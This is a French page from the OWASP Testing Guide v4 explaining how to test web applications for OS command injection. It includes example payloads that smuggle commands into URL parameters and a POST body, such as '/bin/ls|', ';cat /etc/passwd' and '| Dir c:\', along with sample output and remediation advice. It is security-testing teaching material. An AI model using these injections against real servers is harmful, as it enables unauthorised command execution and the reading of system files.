4.8.13 Tester les injections de commandes (OTG-INPVAL-013)

From OWASP
Jump to: navigation, search
This article is part of the new OWASP Testing Guide v4.
Back to the OWASP Testing Guide v4 ToC: https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents Back to the OWASP Testing Guide Project: https://www.owasp.org/index.php/OWASP_Testing_Project

Sommaire

Cet article décrit comment tester les injections de commandes systèmes sur une application. Le testeur va essayer d'injecter une commande système danas l'application via une requête HTTP.


L'injection de commandes systèmes est une technique utilisée via une interface web pour exécuter des commandes systèmes sur le serveur web. L'utilisateur envoie des commandes systèmes sur une interface web afin de les exécuter. Toute interface web qui ne valide pas correctement ses entrées est sujette à cette vulnérabilité. En pouvant exécuter des commandes systèmes, l'utilisateur peut télécharger des programmes malicieux ou même obtenir des mots de passe. L'injection de commandes systèmes peut être évitée quand la securité est prise en compte pendant la conception et le développement d'applications.


Comment tester

Quand on visualise un fichier sur une application web, le nom du fichier est souvent affiché dans l'URL. Perl permet de transférer des données vers une instruction avec un pipe. L'utilisateur peut simplement ajouter un symbole pipe "|" à la fin du nom du fichier.


Un exemple d'URL avant modification :

http://sensitive/cgi-bin/userData.pl?doc=user1.txt


Exemple d'URL modifiée :

http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|


Cela va exécuter la commande “/bin/ls”.


Ajouter un point-virgule à la fin de l'URL d'une page .PHP, suivi d'une commande système, va exécuter la commande. %3B est le point-virgule encodé en URL.

Exemple :

http://sensitive/something.php?dir=%3Bcat%20/etc/passwd


Exemple
Considérons le cas d'une application contenant un ensemble de documents que l'on peut consulter depuis Internet. Si l'on lance WebScarab, on obtient une requêete HTTP POST comme la suivante :

POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf


Dans cette requête POST, on observe comment l'application récupère le document public. Maintenant, on peut tester s'il est possible d'ajouter une commande système à injecter dans la requête POST. On essaie ce qui suit :

POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33

Doc=Doc1.pdf+|+Dir c:\


Si l'application ne valide pas la requête, on peut obtenir le résultat suivant :

Exec Results for 'cmd.exe /c type "C:\httpd\public\doc\"Doc=Doc1.pdf+|+Dir c:\'
Output...
Il volume nell'unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
 18/10/2006 00:27 2,675 Dir_Prog.txt
 18/10/2006 00:28 3,887 Dir_ProgFile.txt
 16/11/2006 10:43
    Doc
    11/11/2006 17:25
       Documents and Settings
       25/10/2006 03:11
          I386
          14/11/2006 18:51
	     h4ck3r
	     30/09/2005 21:40 25,934 
		OWASP1.JPG
		03/11/2006 18:29
			Prog
			18/11/2006 11:20
				Program Files
				16/11/2006 21:12
					Software
					24/10/2006 18:25
						Setup
						24/10/2006 23:37
							Technologies
							18/11/2006 11:14	
							3 File 32,496 byte
							13 Directory 6,921,269,248 byte disponibili
							Return code: 0


Dans ce cas, on a réussi une attaque d'injection de commande système.


Outils

Références

White papers

Remédiation

Validation

L'URL et les données de formulaire doivent être filtrées pour éliminer les caractères invalides. Une liste noire de caractères est une option mais il peut être difficile de penser à tous les caractères à interdire. Certains peuvent ne pas être encore connus. Une liste blanche contenant uniquement les caractères autorisés devrait être créée pour valider les entrées utilisateur. Les caractères oubliés, comme les menaces encore inconnues, seront éliminées par cette liste.

Permissions

L'application web et ses composants devraient être exécutés sous des permissions strictes, interdisant l'exécution de commandes systèmes. Essayez de vérifier toutes ces informations lors de tests en boite grise.